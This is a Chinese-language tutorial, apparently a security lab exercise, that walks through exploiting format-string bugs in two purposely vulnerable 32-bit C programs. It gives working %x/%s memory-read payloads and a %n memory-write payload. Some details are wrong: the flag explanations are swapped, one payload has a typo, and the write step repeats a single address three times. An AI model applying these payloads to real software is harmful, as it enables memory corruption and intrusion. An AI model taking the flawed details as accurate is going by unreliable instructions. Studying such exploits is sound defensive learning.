一、环境准备
操作系统:linux-x64
编译器:gcc
执行文件编译为:32位
安装编译32位的适配库:
sudo apt-get install gcc-multilib g++-multilib module-assistant
有可能在下载 g++-multilib时报错,直接下载 g++ 就行
如下可以编译出32位的文件
二、内存读取
代码:formatstring-str.c文件
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
const char* global_str = "You pwn it!\n";
int main(int argc, char* argv[])
{
char buff[128];
printf("Address of global_str = %p \n", global_str);
if( argc < 2 ){
printf("Usage: %s <string> \n", argv[0]);
return -1;
}
strcpy(buff, argv[1]);
printf(buff); //exploitation
printf("\n");
return 0;
}
目标:实现输出 global_str字符串内容
思路:
通过输入:AAAA-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x
找到AAAA所在栈位置,即buff位置
在buff首地址里写入 global_str字符串地址
用%s读取buff首地址里的数据(即读取glbal_str内容)
编译代码:
gcc -g -m32 -fno-stack-protector -no-pie formatstring-str.c
-m32 编译成32位可执行文件
-no-pie 关闭栈空间保护
-fno-stack-protector 关闭地址随机装载
执行后如图:
输入:
./a.out AAAA%08x%08x%08x%08x%08x%08x%08x%08x
%08x:占位符:08表示输出8个字符 x表示以16进制输出
可以看到输出数据中的 41414141(十六进制)即 AAAA
说明在从41414141开始后面的数据就是我们输入的数据即buff内容
为了方便我们查看输出数据可以在输入数据的占位符之间加分隔符
./a.out AAAA-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x
可以清楚的看到输出数据中 41414141在第4个占位符上
则可以推出在掉用printf()函数时栈帧图为:
在调用printf()时只是将buff的首地址入栈
可以用如下数据验证:
第一给占位符为%s,printf("%s",地址);%s对应的参数是一个地址,从输出数据看打印出来了buff数据,则上面的%s对应的数据就是buff的首地址
从上面的栈帧图可以看到buff地址为ESP+4,我们也可以用%4$08x直接打印栈上的四个参数,注意在64位程序中前六个参数是放在寄存器中的,第7个才开始方栈中。
注意在linux命令行要用将$转义
现在我们只要向buff里写入global_stre的地址并用%s去读就能读出global_str的内容
可以看到我们成功写入了0804a008
我们用%s来读取
可以看到我们成功读出了global_str内容,实现了内存读取
三、内存写入
代码:formatstring.c文件
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
static int secrets[3]={0x222324,0x44,0x55};
int main(int argc, char* argv[])
{
char buff[512];
printf("Address of secret = 0x%08X \n", secrets);
if( argc < 2 ){
printf("Usage: %s <string> \n", argv[0]);
return -1;
}
strcpy(buff, argv[1]);
printf("Exploitation way: \n");
printf(buff);
printf("\n\n");
//right way to print
printf("Right way: %s\n",buff);
printf("secret[0] = 0x%0X , secret[1] = 0x%0X, secrets[2] = 0x%0X \n", secrets[0], secrets[1], secrets[2]);
return 0;
}
编译同上:
gcc -g -m32 -fno-stack-protector -no-pie formatstring.c
输入payload:
AAAA-%08x-%08x-%08x-%08x-%08x-%08x
看到buff还是在第四个参数上
写入secret的三个元素地址到buff的前14个字节里
$(printf "\x24\xc0\x04\x08")$(printf "\x24\xc0\x04\x08")$(printf "\x24\xc0\x04\x08")%4\&08x%5\$08x%6\$08x
可以看到成功写入secret的三个地址
下一步就用%n写入数据到secret
$(printf "\x24\xc0\x04\x08")$(printf "\x24\xc0\x04\x08")$(printf "\x24\xc0\x04\x08")%4\&nx%5\$n%6\$n
可以看到secret的三个元素都被改为了0xC即12,因为前面输入了三个地址总共12个字节。
关于%n的扩展
%hn 一次性写入2个字节
%hhn 一次性写入1个字节
%n 一次性写入4个字节
%lln 一次性写入8字节